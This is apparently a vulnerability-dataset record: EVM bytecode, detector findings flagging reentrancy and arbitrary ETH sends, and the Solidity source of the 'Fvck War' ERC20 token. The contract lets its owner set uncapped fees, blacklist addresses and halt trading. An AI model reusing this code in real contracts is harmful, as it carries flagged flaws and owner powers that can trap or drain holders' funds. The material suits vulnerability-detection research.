627565b6000546001600160a01b03848116911614801590610e1157506000546001600160a01b03838116911614155b156110f257601454600160a01b900460ff16610eaa576000546001600160a01b03848116911614610eaa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601554811115610efc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3e57506001600160a01b03821660009081526010602052604090205460ff16155b610f965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6014546001600160a01b0383811691161461101b5760165481610fb8846107dc565b610fc29190611caf565b1061101b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b6000611026306107dc565b60175460155491925082101590821061103f5760155491505b8080156110565750601454600160a81b900460ff16155b801561107057506014546001600160a01b03868116911614155b80156110855750601454600160b01b900460ff165b80156110aa57506001600160a01b03851660009081526005602052604090205460ff16155b80156110cf57506001600160a01b03841660009081526005602052604090205460ff16155b156110ef576110dd826112f1565b4780156110ed576110ed47611233565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113457506001600160a01b03831660009081526005602052604090205460ff165b8061116657506014546001600160a01b0385811691161480159061116657506014546001600160a01b03848116911614155b15611173575060006111ed565b6014546001600160a01b03858116911614801561119e57506013546001600160a01b03848116911614155b156111b057600854600c55600954600d555b6014546001600160a01b0384811691161480156111db57506013546001600160a01b03858116911614155b156111ed57600a54600c55600b54600d555b610a7a8484848461146b565b6000818484111561121d5760405162461bcd60e51b81526004016106279190611a21565b50600061122a8486611cc7565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112d45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112de611499565b90506112ea83826114bc565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133957611339611c68565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611cde565b816001815181106113c9576113c9611c68565b6001600160a01b0392831660209182029290920101526013546113ef9130911684610b99565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611cfb565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611478576114786114fe565b61148384848461152c565b80610a7a57610a7a600e54600c55600f54600d55565b60008060006114a6611623565b90925090506114b582826114bc565b9250505090565b60006112ea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611663565b600c5415801561150e5750600d54155b1561151557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153e87611691565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157090876116ee565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159f9086611730565b6001600160a01b0389166000908152600260205260409020556115c18161178f565b6115cb84836117d9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163e82826114bc565b82101561165a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116845760405162461bcd60e51b81526004016106279190611a21565b50600061122a8486611d6c565b60008060008060008060008060006116ae8a600c54600d546117fd565b92509250925060006116be611499565b905060008060006116d18e878787611852565b919e509c509a509598509396509194505050505091939550919395565b60006112ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f9565b60008061173d8385611caf565b9050838110156112ea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b6000611799611499565b905060006117a783836118a2565b306000908152600260205260409020549091506117c49082611730565b30600090815260026020526040902055505050565b6006546117e690836116ee565b6006556007546117f69082611730565b6007555050565b6000808080611817606461181189896118a2565b906114bc565b9050600061182a60646118118a896118a2565b905060006118428261183c8b866116ee565b906116ee565b9992985090965090945050505050565b600080808061186188866118a2565b9050600061186f88876118a2565b9050600061187d88886118a2565b9050600061188f8261183c86866116ee565b939b939a50919850919650505050505050565b6000826118b1575060006106ad565b60006118bd8385611d8e565b9050826118ca8583611d6c565b146112ea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d957600080fd5b803561195781611937565b919050565b6000602080838503121561196f57600080fd5b823567ffffffffffffffff8082111561198757600080fd5b818501915085601f83011261199b57600080fd5b8135818111156119ad576119ad611921565b8060051b604051601f19603f830116810181811085821117156119d2576119d2611921565b6040529182528482019250838101850191888311156119f057600080fd5b938501935b82851015611a1557611a068561194c565b845293850193928501926119f5565b98975050505050505050565b600060208083528351808285015260005b81811015611a4e57858101830151858201604001528201611a32565b81811115611a60576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8957600080fd5b8235611a9481611937565b946020939093013593505050565b600080600060608486031215611ab757600080fd5b8335611ac281611937565b92506020840135611ad281611937565b929592945050506040919091013590565b600060208284031215611af557600080fd5b81356112ea81611937565b8035801515811461195757600080fd5b600060208284031215611b2257600080fd5b6112ea82611b00565b600060208284031215611b3d57600080fd5b5035919050565b60008060008060808587031215611b5a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8b57600080fd5b833567ffffffffffffffff80821115611ba357600080fd5b818601915086601f830112611bb757600080fd5b813581811115611bc657600080fd5b8760208260051b8501011115611bdb57600080fd5b602092830195509350611bf19186019050611b00565b90509250925092565b60008060408385031215611c0d57600080fd5b8235611c1881611937565b91506020830135611c2881611937565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca857611ca8611c7e565b5060010190565b60008219821115611cc257611cc2611c7e565b500190565b600082821015611cd957611cd9611c7e565b500390565b600060208284031215611cf057600080fd5b81516112ea81611937565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4b5784516001600160a01b031683529383019391830191600101611d26565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da857611da8611c7e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013ac8d2bb75ae6ad9883b4156a0a1f1f890ed74d55732c4a3289bebed33a020764736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,301
0xd7c49505879d2adaf896e14243657f6f45e1cc11
pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FvckWar is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Fvck War"; string private constant _symbol = "FvckWar"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x6DBBE1dD30A6d794d76dC2afd190a7f188ea89F5); address payable private _marketingAddress = payable(0x1A63CD1aaF13e424DFA370D8D4dD326b5Fb4014a); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; //max tx 1% uint256 public _maxWalletSize = 200000 * 10**9; // max wallet 2% uint256 public _swapTokensAtAmount = 100000 * 10**9; //swap tokens 1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051d578063dd62ed3e1461053d578063ea1644d514610583578063f2fde38b146105a357600080fd5b8063a2a957bb14610498578063a9059cbb146104b8578063bfd79284146104d8578063c3c8cd801461050857600080fd5b80638f70ccf7116100d15780638f70ccf7146104125780638f9a55c01461043257806395d89b411461044857806398a5c3151461047857600080fd5b806374010ece146103be5780637d1db4a5146103de5780638da5cb5b146103f457600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103545780636fc3eaec1461037457806370a0823114610389578063715018a6146103a957600080fd5b8063313ce567146102f857806349bd5a5e146103145780636b9990531461033457600080fd5b80631694505e116101a05780631694505e1461026657806318160ddd1461029e57806323b872dd146102c25780632fd689e3146102e257600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023657600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae7565b6105c3565b005b3480156101ff57600080fd5b50604080518082019091526008815267233b31b5902bb0b960c11b60208201525b60405161022d9190611c11565b60405180910390f35b34801561024257600080fd5b50610256610251366004611a3d565b610670565b604051901515815260200161022d565b34801561027257600080fd5b50601454610286906001600160a01b031681565b6040516001600160a01b03909116815260200161022d565b3480156102aa57600080fd5b50662386f26fc100005b60405190815260200161022d565b3480156102ce57600080fd5b506102566102dd3660046119fd565b610687565b3480156102ee57600080fd5b506102b460185481565b34801561030457600080fd5b506040516009815260200161022d565b34801561032057600080fd5b50601554610286906001600160a01b031681565b34801561034057600080fd5b506101f161034f36600461198d565b6106f0565b34801561036057600080fd5b506101f161036f366004611bae565b61073b565b34801561038057600080fd5b506101f1610783565b34801561039557600080fd5b506102b46103a436600461198d565b6107ce565b3480156103b557600080fd5b506101f16107f0565b3480156103ca57600080fd5b506101f16103d9366004611bc8565b610864565b3480156103ea57600080fd5b506102b460165481565b34801561040057600080fd5b506000546001600160a01b0316610286565b34801561041e57600080fd5b506101f161042d366004611bae565b610893565b34801561043e57600080fd5b506102b460175481565b34801561045457600080fd5b50604080518082019091526007815266233b31b5abb0b960c91b6020820152610220565b34801561048457600080fd5b506101f1610493366004611bc8565b6108db565b3480156104a457600080fd5b506101f16104b3366004611be0565b61090a565b3480156104c457600080fd5b506102566104d3366004611a3d565b610948565b3480156104e457600080fd5b506102566104f336600461198d565b60106020526000908152604090205460ff1681565b34801561051457600080fd5b506101f1610955565b34801561052957600080fd5b506101f1610538366004611a68565b6109a9565b34801561054957600080fd5b506102b46105583660046119c5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058f57600080fd5b506101f161059e366004611bc8565b610a58565b3480156105af57600080fd5b506101f16105be36600461198d565b610a87565b6000546001600160a01b031633146105f65760405162461bcd60e51b81526004016105ed90611c64565b60405180910390fd5b60005b815181101561066c5760016010600084848151811061062857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066481611d77565b9150506105f9565b5050565b600061067d338484610b71565b5060015b92915050565b6000610694848484610c95565b6106e684336106e185604051806060016040528060288152602001611dd4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d1565b610b71565b5060019392505050565b6000546001600160a01b0316331461071a5760405162461bcd60e51b81526004016105ed90611c64565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107655760405162461bcd60e51b81526004016105ed90611c64565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b857506013546001600160a01b0316336001600160a01b0316145b6107c157600080fd5b476107cb8161120b565b50565b6001600160a01b03811660009081526002602052604081205461068190611290565b6000546001600160a01b0316331461081a5760405162461bcd60e51b81526004016105ed90611c64565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088e5760405162461bcd60e51b81526004016105ed90611c64565b601655565b6000546001600160a01b031633146108bd5760405162461bcd60e51b81526004016105ed90611c64565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016105ed90611c64565b601855565b6000546001600160a01b031633146109345760405162461bcd60e51b81526004016105ed90611c64565b600893909355600a91909155600955600b55565b600061067d338484610c95565b6012546001600160a01b0316336001600160a01b0316148061098a57506013546001600160a01b0316336001600160a01b0316145b61099357600080fd5b600061099e306107ce565b90506107cb81611314565b6000546001600160a01b031633146109d35760405162461bcd60e51b81526004016105ed90611c64565b60005b82811015610a52578160056000868685818110610a0357634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a18919061198d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4a81611d77565b9150506109d6565b50505050565b6000546001600160a01b03163314610a825760405162461bcd60e51b81526004016105ed90611c64565b601755565b6000546001600160a01b03163314610ab15760405162461bcd60e51b81526004016105ed90611c64565b6001600160a01b038116610b165760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ed565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ed565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ed565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ed565b6001600160a01b038216610d5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ed565b60008111610dbd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ed565b6000546001600160a01b03848116911614801590610de957506000546001600160a01b03838116911614155b156110ca57601554600160a01b900460ff16610e82576000546001600160a01b03848116911614610e825760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ed565b601654811115610ed45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ed565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1657506001600160a01b03821660009081526010602052604090205460ff16155b610f6e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ed565b6015546001600160a01b03838116911614610ff35760175481610f90846107ce565b610f9a9190611d09565b10610ff35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ed565b6000610ffe306107ce565b6018546016549192508210159082106110175760165491505b80801561102e5750601554600160a81b900460ff16155b801561104857506015546001600160a01b03868116911614155b801561105d5750601554600160b01b900460ff165b801561108257506001600160a01b03851660009081526005602052604090205460ff16155b80156110a757506001600160a01b03841660009081526005602052604090205460ff16155b156110c7576110b582611314565b4780156110c5576110c54761120b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110c57506001600160a01b03831660009081526005602052604090205460ff165b8061113e57506015546001600160a01b0385811691161480159061113e57506015546001600160a01b03848116911614155b1561114b575060006111c5565b6015546001600160a01b03858116911614801561117657506014546001600160a01b03848116911614155b1561118857600854600c55600954600d555b6015546001600160a01b0384811691161480156111b357506014546001600160a01b03858116911614155b156111c557600a54600c55600b54600d555b610a52848484846114b9565b600081848411156111f55760405162461bcd60e51b81526004016105ed9190611c11565b5060006112028486611d60565b95945050505050565b6012546001600160a01b03166108fc6112258360026114e7565b6040518115909202916000818181858888f1935050505015801561124d573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112688360026114e7565b6040518115909202916000818181858888f1935050505015801561066c573d6000803e3d6000fd5b60006006548211156112f75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ed565b6000611301611529565b905061130d83826114e7565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113be57600080fd5b505afa1580156113d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f691906119a9565b8160018151811061141757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143d9130911684610b71565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611476908590600090869030904290600401611c99565b600060405180830381600087803b15801561149057600080fd5b505af11580156114a4573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c6576114c661154c565b6114d184848461157a565b80610a5257610a52600e54600c55600f54600d55565b600061130d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611671565b600080600061153661169f565b909250905061154582826114e7565b9250505090565b600c5415801561155c5750600d54155b1561156357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158c876116dd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115be908761173a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ed908661177c565b6001600160a01b03891660009081526002602052604090205561160f816117db565b6116198483611825565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165e91815260200190565b60405180910390a3505050505050505050565b600081836116925760405162461bcd60e51b81526004016105ed9190611c11565b5060006112028486611d21565b6006546000908190662386f26fc100006116b982826114e7565b8210156116d457505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116fa8a600c54600d54611849565b925092509250600061170a611529565b9050600080600061171d8e87878761189e565b919e509c509a509598509396509194505050505091939550919395565b600061130d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d1565b6000806117898385611d09565b90508381101561130d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ed565b60006